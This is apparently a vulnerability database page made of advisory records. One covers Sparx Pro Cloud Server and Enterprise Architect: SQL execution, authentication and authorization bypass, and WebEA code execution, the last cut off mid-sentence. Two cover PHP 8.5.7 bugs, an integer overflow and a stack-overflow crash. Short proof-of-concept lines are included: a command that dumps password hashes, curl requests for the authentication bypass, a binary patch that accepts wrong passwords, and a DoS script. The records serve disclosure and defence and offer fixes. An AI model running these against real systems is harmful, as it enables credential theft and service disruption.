Vendor Product Version
unknown unknown Affected: unknown
Create a notification for this product.
Relationships
analysis GCVE-1988-2026-0325 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Adamczyk Blazej"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nMultiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\nGeneral information\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n  Multiple vulnerabilities in Sparx Pro Cloud Server (PCS) versions \u003c=\n  6.1 and Sparx Enterprise Architect versions \u003c=17.1 allow a remote\n  unauthenticated attacker to execute arbitrary sql queries (both read\n  and write) within any configured database. In case where PCS is\n  installed with WebEA the vulnerabilities allow further for remote\n  unauthenticated code execution (RCE) within the web server context.\n\n  CVSSv4 chained score: *10.0 Critical*\n  (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\n\nFix\n\u2550\u2550\u2550\n\n  Currently vendor *did not resolve* any of the CVEs. The PCS\n  authentication bypass and race condition seem to be easy to implement\n  and I hope vendor will release patches soon.\n\n  As a workaround it is best to isolate the PCS instances from internet\n  and untrusted networks. Create frequent backups and review access logs\n  if possible. You could also setup a proxy to limit the PCS\n  authentication bypass (dropping requests with no or wrong model query\n  parameter.\n\n\n[Vulnerabilitiy #1] Sparx Pro Cloud Server SQL Command Execution\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCVE\n\u2500\u2500\u2500\n\n  CVE-2026-42096 - Broken Access Control in Sparx Pro Cloud Server\n\n\nAffected versions\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Pro Cloud Server versions \u003c= 6.1 build 167\n\n\nCVSSv4\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  9.4 Critical\n  (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\n\nImpact\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  PCS works as a remote model for a thick client, running on user\u0027s\n  computers, called Enterprise Architect (EA). EA connects to PCS and\n  works with the exposed database by directly running SQL queries.\n  Besides user authentication (which is also vulnerable - see\n  vulnerability #2 below) there is no additional access control. Any low\n  privileged user can actually run any sql queries permitted by the\n  configured external database user. Usually the user configured is at\n  least having full access to the model database - thus any low\n  privileged user can actually destroy the whole model, retrieve and\n  change other user\u0027s password hashes and more.\n\n  The problem seems to be with legacy thick client EA architecture which\n  simply works on a database to manage all the model details.\n\n\nDetails\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  The client (EA) is connecting to the PCS HTTP server. The server might\n  require authentication *if it is properly configured* - an admin can\n  check \"Enable Security\" in EA but still not select \"Require a secure\n  and authenticated connection\" in PCS configuration what results in *NO\n  SERVER SIDE authentication at all*.\n\n  Assuming the server side authentication is required the PCS verifies\n  the authentication according to configuration - e.g. login/password,\n  Active Directory or OpenID.\n\n  Then the EA client sends request to perform SQL queries on the\n  database in an ecrypted form but the whole encryption scheme is built\n  into the client EA binary (actually downloadable from the vendor\n  webside without any authentication - as trial version). The encryption\n  is symmetric using a key contained within the binary itself thus\n  simply this is not any security measure (security by obscurity).\n\n  An attacker can obtain the key and then *create and send custom SQL\n  queries to be performed by the database*.\n\n\nPoC\n\u2500\u2500\u2500\n\n  Exploit: https://github.com/br0xpl/sparx_hack/blob/main/eacrypt.py\n  is a python script which exploits the SQL vulnerability by encrypting\n  any SQL command and sending it to the server. For security,\n  the real key is removed from the exploit code.\n\n  This script receives all users and their hashes from PCS:\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 python3 eacrypt.py http://${PCS_HOSTNAME} model \"select * from t_secuser, t_xref where t_xref.Type=\u0027User Setting\u0027 \nand t_xref.Name =\u0027SHA-256\u0027 and t_xref.Client=t_secuser.UserID\"\n  \u2514\u2500\u2500\u2500\u2500\n\n\nSolution\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  It will be hard to introduce proper authorization for all types of SQL\n  queries - this would require to rewrite the logic to use some higher\n  abstraction API which can be properly authorized.\n\n  Until a proper authorized API will be provided a quick solution could\n  be at least to verify the SQL queries executed and block the most\n  dangerous like asking about other users\u0027 passwords and so on. Maybe a\n  query whitelist with limiting the view of some critical assets like\n  hashes.\n\n  For sure it should be transparently stated in the PCS and EA\n  documentation web page. Some integrators and admins are aware of this\n  risk (there are some topics on the forum mentioning that the model\n  security is not in fact security) but this *should be well described\n  in both product documentations* as a limitation and risk which needs\n  to be understood by clients and taken into consideration at an early\n  stage while designing a production system. Otherwise it poses a high\n  risk for any company using those products.\n\n\n[Vulnerability #2] Sparx Pro Cloud Server Authentication Bypass\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCVE\n\u2500\u2500\u2500\n\n  CVE-2026-42097 - Authentication Bypass in Sparx Pro Cloud Server\n\n\nAffected versions\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Pro Cloud Server versions \u003c= 6.1 build 167\n\n\nCVSSv4\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  9.2 Critical\n  (CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\n\nImpact\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  An attacker can *omit PCS authentication* and e.g. combined with the\n  previous vulnerability be able to remotely execute arbitrary SQL\n  commands (read and write) *without authentication*.\n\n\nDetails\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  It seems that PCS requires authentication based on requested URL. EA\n  clients sending the encrypted SQL query to PCS are using an url which\n  looks as follows:\n\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 https://${PCS_SERVER_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}\n  \u2514\u2500\u2500\u2500\u2500\n\n  PCS seems to look at the URL and decides how to authenticate the\n  request. Unfortunately the SQL command query sends a POST request with\n  a binary blob where the model name is defined one more time and this\n  is the value that is further used by PCS to execute the query.\n\n  Thus an attacker can simply omit the model query parameter and send\n  the model name only in the binary blob in both TLS and non-TLS ports\n  and the query will be executed even thought there was no\n  authentication.\n\n\nPoC\n\u2500\u2500\u2500\n\n  To quickly verify compare the authenticated response for a request:\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 curl \u0027https://${PCS_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}\u0026apos; -X POST  -vvv --data \u0027whatever\u0027 -k\n  \u2514\u2500\u2500\u2500\u2500\n\n  which responds 401 Access Denied to response of a request without the\n  query param:\n\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 curl \u0027https://${PCS_HOSTNAME}/SparxCloudLink.sseap\u0026apos; -X POST  -vvv --data \u0027whatever\u0027 -k\n  \u2514\u2500\u2500\u2500\u2500\n\n  which responds 500 Internal Server Error.\n\n  To proof this properly use the python code which exploits the #1\n  SQL vulnerability and uses the URL without model query parameter to\n  omit the authentication.\n\n\nSolution\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Make a single parameter pointing the model (either in the blob or in\n  query param) and hook authentication and query logic on the same\n  parameter.\n\n\n[Vulnerability #3] Sparx Enterprise Architect Authorization Bypass\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCVE\n\u2500\u2500\u2500\n\n  CVE-2026-42098 - Authorization Bypass in Sparx Enterprise Architect\n\n\nAffected versions\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Enterprise Architect versions \u003c= 17.1\n\n\nCVSSv4\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  7.7 High\n  (CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\n\nImpact\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Enterprise Architect software has a security feature which can\n  be enabled. When enabled the users can be limited to perform only some\n  actions by roles but this is not a real security measure as it can be\n  easily bypassed.\n\n  *Any authenticated user can actually perform any action on the model*\n  including deletion, stealing of other users\u0027 passwords and many\n  others. This *includes configurations with Pro Cloud Server* where\n  vendor advertises that PCS brings high level of security for the\n  model:\n\n        Robust security features are designed to protect sensitive\n        model information, *including role-based access control*,\n        encryption, authentication mechanisms and audit trails.\n\n        source: \u003chttps://www.sparxsystems.eu/pro-cloud-server/\u003e\n\n\nDetails\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  This vulnerability, most probably, is a result of the legacy thick\n  client architecture described in the vulnerability #1.\n\n  The EA documentation states briefly that the security is not a real\n  security:\n\n        The Security system in Enterprise Architect is designed to\n        facilitate collaboration, *not as a barrier to incursion*.\n\n        source:\n        \u003chttps://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html\u003e\n\n  but right below it suggests that model assets should be secured:\n\n        The information contained in the Repository is a valuable\n        organizational asset that needs to be maintained and\n        secured as such. The asset must be protected from both\n        *intentional* and inadvertent compromises of content. The\n        Security system allows update functions to be restricted\n        to a set of users or groups with the appropriate defined\n        permission. Packages, elements and diagrams can be locked\n        by users, preventing others from updating them.\n\n        source:\n        \u003chttps://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html\u003e\n\n  Unfortunately the current design is not protecting against intentional\n  compromises of content. An attacker can modify the EA client behavior\n  (e.g. using a debugger) to login in as any other user or administrator\n  - then it is possible to do every possible change to the repository.\n\n\nPoC\n\u2500\u2500\u2500\n\n  To show how it works it is enough to patch the binary to change the\n  logic and accept all incorrect passwords and reject correct ones. For\n  the file version 17.1.0.1714 of EA.exe (md5sum:\n  69dfe7b98d1fc156d15d8aeff726cfce) the following would patch the logic:\n\n  \u250c\u2500\u2500\u2500\u2500\n  \u2502 printf \u0027\\x84\u0027 | dd of=EA.exe bs=1 seek=$((0x34657B2)) conv=notrunc\n  \u2514\u2500\u2500\u2500\u2500\n\n  Then run the patched exe and try to login to local model with\n  different password. It also works obviously for cloud models which do\n  not require server HTTP authentication or when using the \"Login as\n  different user option\".\n\n\nSolution\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  The way security works for EA should be properly and transparently\n  presented in the EA documentation and installation notes. The sentence\n  quoted above is not enough and can be easily misinterpreted by many\n  users leading to vulnerabilities.\n\n  Also it should be explained that even when using PCS after\n  authentication there is no authorization until visibility levels are\n  enabled which are working per whole database manager not user - so in\n  fact there is no user based RBAC but rather database manager RBAC what\n  is much more coarse grained then per user roles access control.\n\n  In terms of combination of EA and PCS it is possible to secure the\n  design by e.g. following the recommendations proposed in vulnerability\n  #1.\n\n\n[Vulnerability #4] Sparx Pro Cloud Server WebEA Remote Code Execution\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCVE\n\u2500\u2500\u2500\n\n  CVE-2026-42099 - Race Condition in Sparx Pro Cloud Server\n\n\nAffected versions\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n  Sparx Pro Cloud Server versions \u003c= 6.1 build 167\n\n\nCVSSv4\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  9.0 Critical\n  (CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\n\nImpact\n\u2500\u2500\u2500\u2500\u2500\u2500\n\n  PCS configured with WebEA PHP application allows for remote command\n  execution using the /data_api/dl_internal_artifact.php endpoint. This\n  URL is used by WebEA to download content of a internal artifact. A\n  remote attacker having access to the PCS repository is able to inject\n  a malicious php file into the "
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/17"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/17"
        },
        {
          "url": "http://${PCS_HOSTNAME}"
        },
        {
          "url": "https://${PCS_HOSTNAME}"
        },
        {
          "url": "https://${PCS_HOSTNAME}/SparxCloudLink.sseap\u0026apos"
        },
        {
          "url": "https://${PCS_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}\u0026apos"
        },
        {
          "url": "https://${PCS_SERVER_HOSTNAME}/SparxCloudLink.sseap?model=${MODEL_NAME}"
        },
        {
          "url": "https://${WEBEA_HOSTNAME}/data_api/dl_internal_artifact.php?guid=el_%7B8889BA10-6178-4047-9273-37FC75B0FCF6%7D\u0026modelno=1"
        },
        {
          "url": "https://${WEBEA_HOSTNAME}/data_api/poc.php\u0026apos"
        },
        {
          "url": "https://cert.pl/en/posts/2026/05/CVE-2026-42096"
        },
        {
          "url": "https://efigo.pl/"
        },
        {
          "url": "https://efigo.pl/blog/CVE-2026-42096/"
        },
        {
          "url": "https://github.com/br0xpl/sparx_hack/blob/main/eacrypt.py"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://sparxsystems.com/enterprise_architect_user_guide/17.1/guide_books/tools_ba_security.html"
        },
        {
          "url": "https://sparxsystems.com/products/procloudserver/"
        },
        {
          "url": "https://sploit.tech/"
        },
        {
          "url": "https://sploit.tech/2026/05/19/Sparx-Enterprise-Architect-PCS.html"
        },
        {
          "url": "https://www.sparxsystems.eu/pro-cloud-server/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/17"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Multiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-42096",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42097",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42098",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42099",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42100",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0325",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/17",
            "automated": true,
            "contentSha256": "8bd63f8c1c70a7cdfab79e36a3fa66314cc885eb1505bb552387c93421cb47a1",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/17",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-22T10:47:33Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0325"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0325"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0324

Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
Title
PHP 8.5.7 `levenshtein()` signed-integer overflow
Summary
# PHP 8.5.7 `levenshtein()` signed-integer overflow **Author:** Khashayar Fereidani **Disclosure Date:** 2026-06-18 **Advisory:** https://fereidani.com/php-857-levenshtein-signed-integer-overflow **Contact:** https://fereidani.com/contact ## Description The `levenshtein()` function calculates the Levenshtein distance between two strings, optionally accepting custom costs for insertion, replacement, and deletion operations. In PHP 8.5.7, the implementation lacks proper bounds checking for these cost parameters. When exceptionally large values (such as `PHP_INT_MAX`) are provided, the arithmetic operations within the `reference_levdist()` function in `ext/standard/levenshtein.c` result in a signed-integer overflow. This triggers undefined behavior in C and causes the function to return a negative distance, which is mathematically invalid. ## Proof of concept ```php <?php /* * levenshtein() signed-integer overflow * File: ext/standard/levenshtein.c reference_levdist() lines 47, 50, 53-58 * * The user-supplied costs (cost_ins / cost_rep / cost_del, all zend_long) are * added with NO overflow check, e.g.: * p1[i2] = i2 * cost_ins; // line 47 * p2[0] = p1[0] + cost_del; // line 50 * c1 = p1[i2 + 1] + cost_del;// line 54 <-- PHP_INT_MAX + PHP_INT_MAX * c2 = p2[i2] + cost_ins; // line 58 * * Result: signed overflow (undefined behaviour in C) producing a * NEGATIVE edit distance, a value that is mathematically impossible. */ var_dump(levenshtein('a', 'b', PHP_INT_MAX, PHP_INT_MAX, PHP_INT_MAX)); // int(-2) (should be PHP_INT_MAX) var_dump(levenshtein('a', 'abc', PHP_INT_MAX, PHP_INT_MAX, PHP_INT_MAX)); // int(-4) var_dump(levenshtein('a', 'b', PHP_INT_MAX, 0, PHP_INT_MAX)); // int(-2) echo "All three distances are negative => signed overflow (expected >= 0).\n"; ``` ## Impact The primary risk associated with this vulnerability is an application logic flaw. Applications that rely on the `levenshtein()` function to determine string similarity or calculate distance metrics might fail to handle negative returns properly (for instance, treating a negative number as `< threshold`). This can result in unexpected behavior, incorrect data processing, or bypasses in business logic. Since it involves integer overflow producing a negative result rather than a memory corruption issue, the scope is generally limited to logic disruption rather than arbitrary code execution. ## Solution To effectively address this issue, bounds checking should be implemented either on the cost parameters at the start of the function, or during intermediate calculations. Utilizing safe arithmetic macros provided by the Zend Engine can prevent the integer overflow constraints from being violated: ```c // Example: Adding overflow safeguards in ext/standard/levenshtein.c if (UNEXPECTED(ZEND_SIGNED_ADD_OVERFLOWS(p1[i2 + 1], cost_del))) { php_error_docref(NULL, E_WARNING, "Levenshtein distance calculation caused an integer overflow"); // Handle error, e.g., return -1 or cap } ``` An alternative and proactive measure is to restrict the inputs for `cost_ins`, `cost_rep`, and `cost_del` before computing the distance, ensuring that they wouldn't exceed `ZEND_LONG_MAX` when scaled relative to the strings' lengths. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Php PHP Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `levenshtein()` signed-integer overflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-levenshtein-signed-integer-overflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `levenshtein()` function calculates the Levenshtein distance\nbetween two strings, optionally accepting custom costs for insertion,\nreplacement, and deletion operations. In PHP 8.5.7, the implementation\nlacks proper bounds checking for these cost parameters. When\nexceptionally large values (such as `PHP_INT_MAX`) are provided, the\narithmetic operations within the `reference_levdist()` function in\n`ext/standard/levenshtein.c` result in a signed-integer overflow. This\ntriggers undefined behavior in C and causes the function to return a\nnegative distance, which is mathematically invalid.\n\n## Proof of concept\n\n```php\n\u003c?php\n/*\n * levenshtein() signed-integer overflow\n * File:  ext/standard/levenshtein.c  reference_levdist()  lines 47, 50, 53-58\n *\n * The user-supplied costs (cost_ins / cost_rep / cost_del, all zend_long) are\n * added with NO overflow check, e.g.:\n *     p1[i2]  = i2 * cost_ins;        // line 47\n *     p2[0]   = p1[0] + cost_del;     // line 50\n *     c1      = p1[i2 + 1] + cost_del;// line 54   \u003c-- PHP_INT_MAX +\nPHP_INT_MAX\n *     c2      = p2[i2] + cost_ins;    // line 58\n *\n * Result: signed overflow (undefined behaviour in C) producing a\n * NEGATIVE edit distance, a value that is mathematically impossible.\n */\nvar_dump(levenshtein(\u0027a\u0027,   \u0027b\u0027,   PHP_INT_MAX, PHP_INT_MAX,\nPHP_INT_MAX)); // int(-2)  (should be PHP_INT_MAX)\nvar_dump(levenshtein(\u0027a\u0027,   \u0027abc\u0027, PHP_INT_MAX, PHP_INT_MAX,\nPHP_INT_MAX)); // int(-4)\nvar_dump(levenshtein(\u0027a\u0027,   \u0027b\u0027,   PHP_INT_MAX, 0,\nPHP_INT_MAX)); // int(-2)\necho \"All three distances are negative =\u003e signed overflow (expected \u003e= 0).\\n\";\n```\n\n## Impact\n\nThe primary risk associated with this vulnerability is an application\nlogic flaw. Applications that rely on the `levenshtein()` function to\ndetermine string similarity or calculate distance metrics might fail\nto handle negative returns properly (for instance, treating a negative\nnumber as `\u003c threshold`). This can result in unexpected behavior,\nincorrect data processing, or bypasses in business logic. Since it\ninvolves integer overflow producing a negative result rather than a\nmemory corruption issue, the scope is generally limited to logic\ndisruption rather than arbitrary code execution.\n\n## Solution\n\nTo effectively address this issue, bounds checking should be\nimplemented either on the cost parameters at the start of the\nfunction, or during intermediate calculations. Utilizing safe\narithmetic macros provided by the Zend Engine can prevent the integer\noverflow constraints from being violated:\n\n```c\n// Example: Adding overflow safeguards in ext/standard/levenshtein.c\nif (UNEXPECTED(ZEND_SIGNED_ADD_OVERFLOWS(p1[i2 + 1], cost_del))) {\n    php_error_docref(NULL, E_WARNING, \"Levenshtein distance\ncalculation caused an integer overflow\");\n    // Handle error, e.g., return -1 or cap\n}\n```\nAn alternative and proactive measure is to restrict the inputs for\n`cost_ins`, `cost_rep`, and `cost_del` before computing the distance,\nensuring that they wouldn\u0027t exceed `ZEND_LONG_MAX` when scaled\nrelative to the strings\u0027 lengths.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/14"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/14"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-levenshtein-signed-integer-overflow"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/14"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `levenshtein()` signed-integer overflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0324",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/14",
            "automated": true,
            "contentSha256": "54ccbc6a18fd6848395a0e5ccaba0bdf597e494673869b58873d3da2a33396eb",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/14",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:26:09Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0324"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0323

Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
Title
PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow
Summary
# PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow **Author:** Khashayar Fereidani **Disclosure Date:** 2026-06-18 **Advisory:** https://fereidani.com/php-857-domxmlserializationalgorithm-stack-overflow **Contact:** https://fereidani.com/contact ## Description The `dom_xml_serialization_algorithm()` and `dom_xml_serialize_element_node()` functions in `ext/dom/xml_serializer.c` rely on unbounded recursion to serialize XML nodes. When serializing a deeply nested XML tree, the continuous recursive calls exhaust the thread's stack space, causing a segmentation fault (SIGSEGV). This issue can be triggered via `Dom\XMLDocument::saveXml()` or by accessing the `$innerHTML` / `$outerHTML` properties of `Dom\XMLDocument` elements. Note that `Dom\HTMLDocument` uses an iterative approach and is unaffected. ## Proof of concept ```php <?php // A stack overflow occurs due to unbounded recursion in // dom_xml_serialization_algorithm() and dom_xml_serialize_element_node() // within ext/dom/xml_serializer.c (introduced in PHP 8.4/8.5). // The file's own TODO at line 41 notes: // "TODO: implement iterative approach instead of recursive?". // // Under the default 8MB thread stack, serializing a deeply nested XML // tree crashes PHP with a SIGSEGV (139). Running with `ulimit -s unlimited` // prevents the crash, proving it is stack exhaustion rather than a logic bug. // // The vulnerability is reachable via Dom\XMLDocument::saveXml() // and the $innerHTML / $outerHTML properties of Dom\XMLDocument elements. // Note that Dom\HTMLDocument is unaffected, as its HTML5 serializer // (dom_html5_serialize_node) is iterative. $document = Dom\XMLDocument::createEmpty(); $root = $document->createElement('root'); $document->appendChild($root); $current = $root; // This loop creates a deeply nested tree. // It crashes under the default stack limit but succeeds with `ulimit -s unlimited`. for ($i = 0; $i < 25000; $i++) { $element = $document->createElement('e'); $current->appendChild($element); $current = $element; } // This line is never reached under the default stack limit. var_dump(strlen(@$document->saveXml())); ``` Running the script results in: ```bash Segmentation fault (core dumped) php poc.php ``` ## Impact An attacker could cause a Denial of Service (DoS) by providing a maliciously crafted, deeply nested XML document. If the application processes and attempts to serialize this untrusted structure, the PHP process will abruptly crash due to stack exhaustion. ## Solution Refactor the serialization algorithm in `ext/dom/xml_serializer.c` to use an iterative approach rather than unbounded recursion. A `TODO` comment already exists in the file at line 41 ("TODO: implement iterative approach instead of recursive?"). Alternatively, enforcing a hard limit on DOM nesting depth during creation and parsing could mitigate the exploitability. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: 